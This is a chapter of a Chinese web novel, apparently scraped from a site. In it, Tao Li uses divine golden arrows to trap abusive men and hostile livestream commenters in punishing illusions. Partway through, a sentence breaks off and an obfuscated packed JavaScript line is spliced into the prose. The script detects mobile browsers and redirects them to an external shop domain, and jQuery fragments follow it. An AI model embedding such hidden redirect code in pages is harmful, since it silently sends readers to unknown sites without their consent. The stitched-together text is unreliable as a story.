说是羽毛,实际上并不太贴切。
毕竟雨星上鸟类的羽都很柔软,而陶离耳后,那在阳光下透着油滑绚丽的玄羽却摸着比钢铁还硬。
她想,自己是真的见到了神明。
传说中,慷慨的、公平的、看见了如蚂蚁般渺小的自己的神。
陶离想起那滴血融入她的身体时,眼前骤然出现的玄鸟,祂的羽毛乍一看是黑色,可光照下却散发着绚烂流光。
玄鸟振翅,落下的羽毛落在陶离头顶,一根根刺入她的耳后。
随后她便无师自通学会了传承功法。
外界人群依旧喧嚣,从“怪物”的惊呼、到关于诅咒的猜测、再到对陶离及其女儿的无端指责,不绝于耳。
平头弟也高高举着他的手,满脸狠厉。
风声呼啸,陶离动了动那只骨折的手臂,却发现不知何时已然修复如初。
紧接着她拔出耳后黑羽拉长,形成金色箭头、杆,再一把插入平头弟胸口。
箭矢入体,化作光点消散。
平头弟只觉胸口猛地一窒,仿佛被无形巨手紧紧攥住,疼痛让他高举的手臂不由颤抖着垂落。
“这……这是什么妖术?!”他猛地推开陶离,双眼圆睁,而后疯狂地在自己胸膛上摸索,想要抓住那些已经消逝的光芒,却又只能触碰到自己急促起伏的胸膛。
辫子男见状,赶忙上前查看。
然而不等他走到对方身边,平头弟突然“砰”地一下跪倒在地,捂着头哭嚎不止。
辫子男被这突如其来状况吓了一跳,他停下脚步,忌惮又恐惧地看向陶离:“你到底做了…”
话音未落,只见陶离动作快如闪电,她再次从耳后轻轻一抽,又一支黑羽瞬间化作一支璀璨的金色箭矢。
她双手作拉弓状,金色箭矢划破空气,直冲辫子男而来。
速度之快、力量之强,让辫子□□本来不及躲闪,只能眼睁睁地看着那支箭矢狠狠刺入他的胸膛。
“啊!”他胸口一痛,随后很快,整个人也如平头弟一般跪伏在地,痛苦哭嚎。
张大力眼见不妙,早就躲至一旁,如今更是脚底抹油想要逃跑。
可惜,比他更快的是箭。
“咻”的一下,那支箭如同追踪的闪电、划破空气,直奔张大力逃窜的背影。
凌厉之气踏空而来,用尽全力药品的张大力忍不住感到一股在劫难逃的绝望,他转过身,寄希望于母亲还能看在血缘的份上饶过自己。
他大声求饶:“妈!饶了我,我是你儿子啊!放过我,我以后给你养老给你赚钱给你找…”
张大力没有说完,因为箭矢已经追上了他。
箭矢入肉,发出一声令人心悸的钝响。
张大力的双眼瞬间瞪得滚圆,紧接着便是一阵撕心裂肺的哭嚎,整个人如同被抽走了灵魂的躯壳,跪倒在地、颤抖不已。
周围陷入混乱,围观的人群大多作鸟兽散,只有少数几个胆大的还留在外围,惊疑地望着这一幕。
弹幕男就属于胆子大的那类,他依旧站在直播手机边,满脸戏谑:“不是,演戏呢?被一根玩具箭射到就发狂,什么玄幻小说情节哈哈哈哈,那些孬种还以为是真的,笑死我了。”
直播间的观众也在屏幕的另一端议论纷纷,以为这只是某种新型的网络恶作剧。
【不是,说好的正义审判呢?说好的惩罚坏女人呢?】
【主播换风格了?从家庭伦理剧跳台到科幻惊悚,有点意思。】
【妈的什么狗屎玩意,我要看打女人!不打我就取关!】
【哈哈哈哈哈哈演员演的还蛮真的,好像真的受伤一样,我是不是也要配合一下,哇哦好恐怖,主播快来救我!】
弹幕如同潮水般汹涌而来,骂声、笑声、吵声交织,疯狂翻滚。
另一边,解决了张大力的陶离也将目光转向了弹幕男。
弹幕男感受到这股突如其来的注视,挑衅道:“哟,怎么着?看我不顺眼,也想来一套审判?告诉你,我可不吃你们这套,别想拿我当什么托儿来演戏!”
他自以为掌握了直播的秘密,轻率又无知地站在那里,好像下一秒就要义正言辞揭穿陶离。
陶离听罢无所谓地笑了一声,她没有多话,而是再次拉紧了弓。
弹幕男站在原地继续侃侃而谈,与屏幕那端的观众相互调侃,笑声与讽刺交织成片。
然而,当箭矢划破空气,带着刺耳的呼啸声逼近时,他的眼神中闪过一丝不易察觉的慌乱,不过这份恐惧转瞬即逝,很快就被他自我编织的幻想吞噬。
他心中暗笑,一个方才还在以泪水诉苦的女人,能有什么能耐?
在他眼中,女人耳后的羽毛不过是主播为了营造效果,趁观众不注意偷偷加上的装饰;而那些箭矢,则是一种投影,虚幻无害;至于那些倒在地上哭嚎的男人,也不过是这场精心编排的戏剧中的配角罢了。
他自信满满,心中甚至开始盘算起如何利用这次机会,在这百万人瞩目的直播间里大放异彩,一跃成为万众瞩目的网红,从此走上人生巅峰。
不过下一瞬,男人脸上洋溢的得意笑容就凝固了,箭矢穿透他的嘴,剧痛让他忍不住腿软跪下,眼前的世界开始天旋地转。
这...这怎么可能...居然不是假的...
他说不出话,只能在心里不可置信地想。
视角骤然转换,弹幕男发现自己置身于一个截然不同的世界——他成为了一个落魄不堪的流浪汉,衣衫褴褛、面容憔悴。每日都在垃圾桶中翻找残羹剩饭,甚至与野狗争食,更令他难以忍受的是路人无端打骂、嘲讽以及避无可避的谣言。
他无数次睡着再醒来,期望能回到现实,但都失败了。
他不敢自杀,害怕自己死了就是真的死了,因而只能日复一日溺亡在这无边的痛苦里。
终于,弹幕男崩溃了,他抱着头跪在地上,痛苦哭嚎:“放我出去!我错了!我错了!让我走!让我出去!”
无人回应,相反,被他的痛苦而吸引来的恶徒逐渐向他靠近。
现实世界中,直播间的观众看着弹幕男的哭嚎,心中不免生出几分疑虑。但很快,她们便用各种理由说服了自己——这只是演戏而已。
读弹幕的男人估计也是个托。
不然呢?
这世界哪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593756|143264||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有什么超能力?哪有这么厉害的东西。
况且就算有,她们也不过是在网上发表了一些评论,难道她们连言论自由都没有吗?又不是她们要寻亲,她们抛夫弃子的!
总不能对她们也出手吧?
直播间人这么多、又身处世界各地,陶离左右耳后加起来也才十发箭矢,如今已经用掉了四发,剩下也不过六发,根本就不可能将她们一一报复。
观众们自顾自地想,但那些细微的嘀咕声,却无不彰显着心底的不安。
如果陶离知道她们的想法,肯定会摇头笑道天真。
玄女大人的传承怎么可能只有普攻呢?
只见陶离一把抽出五发箭矢,瞄准手机,对着屏幕微微眯眼。
她目光如炬,箭矢在她的手下发出金光。
直播间内的观众见状,顿时炸开了锅。嘲讽、恐惧、迷茫、不解…各种情绪交织,仿佛一张巨网将所有人的心脏困作一团。
“咻”。
陶离的手指一松,五发箭矢如同离弦之箭,带着呼啸的风声,直奔屏幕而去。
那一刻,时间仿佛凝固,所有人的目光都紧紧跟随那五道金色的光,她们忍不住屏住呼吸、心跳加速。
箭矢狠狠刺入屏幕,手机立刻碎成渣,直播间猝然一黑,“主播下线”四个字出现在观众端的屏幕里。
所有人都松了口气。
“666,就这?”那个之前在弹幕里说着“逆天,给我都要转手猪肉铺”的肥胖男人坐在黑暗的房间内,一把抓起电脑桌上不知放了多久的外卖大快朵颐。
他退出直播间,点开自己在论坛里发的帖子,标题写着“666,我妹居然说出来玩≠同意恋爱,太逆天了,要是不想谈恋爱为什么要答应出去玩?”,点赞已经达到了500。
他被肥肉挤得看不清的五官满意地组合成一个难看的笑,又在目光触及到反驳他的评论时收了起来。
“有一说一,出去玩确实不等于答应你恋爱吧,朋友也可以一起出去玩啊,而且还会有集体聚会的情况…反正我是男的我觉得楼主这样的想法是不对的,很不尊重对方。”这条评论的点赞有1000。
肥胖男人顿时不爽了,他刚想骂些什么。
一道金色的箭矢穿过他的屏幕,直直地刺入他的眉心。
天旋地转,他发现自己变成了猪。
凶恶的屠夫举着杀猪刀劈下,男人感觉自己脖子剧痛,接着他的头骨碌碌滚落在地。
男人惊恐地瞪大了眼,可这还没完,尽管他猪头落地,但屠夫在切他猪身时,他仍然能够感觉到痛楚。
男人忍不住“哼哧”“哼哧”的叫起来,可这一叫反而把屠夫吸引过来,对方边道“没杀干净吗,怎么猪头还会说话?”边提刀将他猪头劈个粉碎,直劈得男人痛到昏厥、不能再说话。
他本以为自己昏过去就能回到现实,可实际上,他醒来后又变成那头猪,一次又一次地体验着被屠杀的痛楚。
相似的情况不胜枚举。
金色箭矢并非观众们想的那么简单,似乎是网络提供了发散的辅助,每一个在直播间发表恶臭言论的人都陷入了痛苦的幻境。